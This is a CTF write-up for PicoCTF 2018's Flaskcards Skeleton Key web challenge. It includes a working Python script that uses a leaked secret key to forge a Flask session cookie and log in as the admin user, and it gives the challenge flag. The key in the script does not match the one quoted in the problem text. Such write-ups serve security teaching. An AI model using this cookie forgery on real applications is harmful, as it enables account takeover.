Contact CTF writeups Notes

[PicoCTF 2018] - web - Flaskcards Skeleton Key

This is one of my writeups for PicoCTF 2018

Problem

Nice! You found out they were sending the Secret_key: 385c16dd09098b011d0086f9e218a0a2. Now, can you find a way to log in as admin? http://2018shell3.picoctf.com:48263.

hints:

  1. What can you do with a flask Secret_Key? 2.The database still reverts every 2 hours

Solution

The answer to the question in the hint ("What can you do with a flask Secret_Key?") is "it depends" : Flask is very flexible, and many extensions use the key in different ways or replace Flask's session mechanism.

But in the case of a "vanilla" Flask app (no extensions used) the secret ket is used to sign the session cookie.

A quick search for "Flask decrypt cookie" yielded this gist, which was a good starting point.

Note : Flask needs to be installed for this code to run

If we decode the cookie, we see it has 4 field = _fresh, _id, csrf_token and user_id. No admin field this time !

The only field that seemed interesting was the user_id field. Asserting that admin was the first user created, I tried forging a cookie with a user_id of 1.

Here's my script :

import hashlib
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
from sys import argv

KEY = '3589a201d98658da606797c074cc2216'  # from the task description


def decode_flask_cookie(secret_key, cookie_str):
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
    return s.loads(cookie_str)


def encode_flask_cookie(secret_key, cookie):
    salt = 'cookie-session'
    serializer = TaggedJSONSerializer()
    signer_kwargs = {
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
    s = URLSafeTimedSerializer(secret_key, salt=salt, serializer=serializer, signer_kwargs=signer_kwargs)
    return s.dumps(cookie)


if __name__ == '__main__':
    try:
        cookie = argv[1]
    except IndexError:
        print(f'usage: {argv[0]} [COOKIE]')
    cookie_val = (decode_flask_cookie(KEY, cookie))
    new_cookie = dict(cookie_val)
    new_cookie['user_id'] = '1'
    print(encode_flask_cookie(KEY, new_cookie))

If we pass it the app's cookie and then request /admin with the generated cookie, we get the flag : picoCTF{1_id_to_rule_them_all_d77c1ed6}.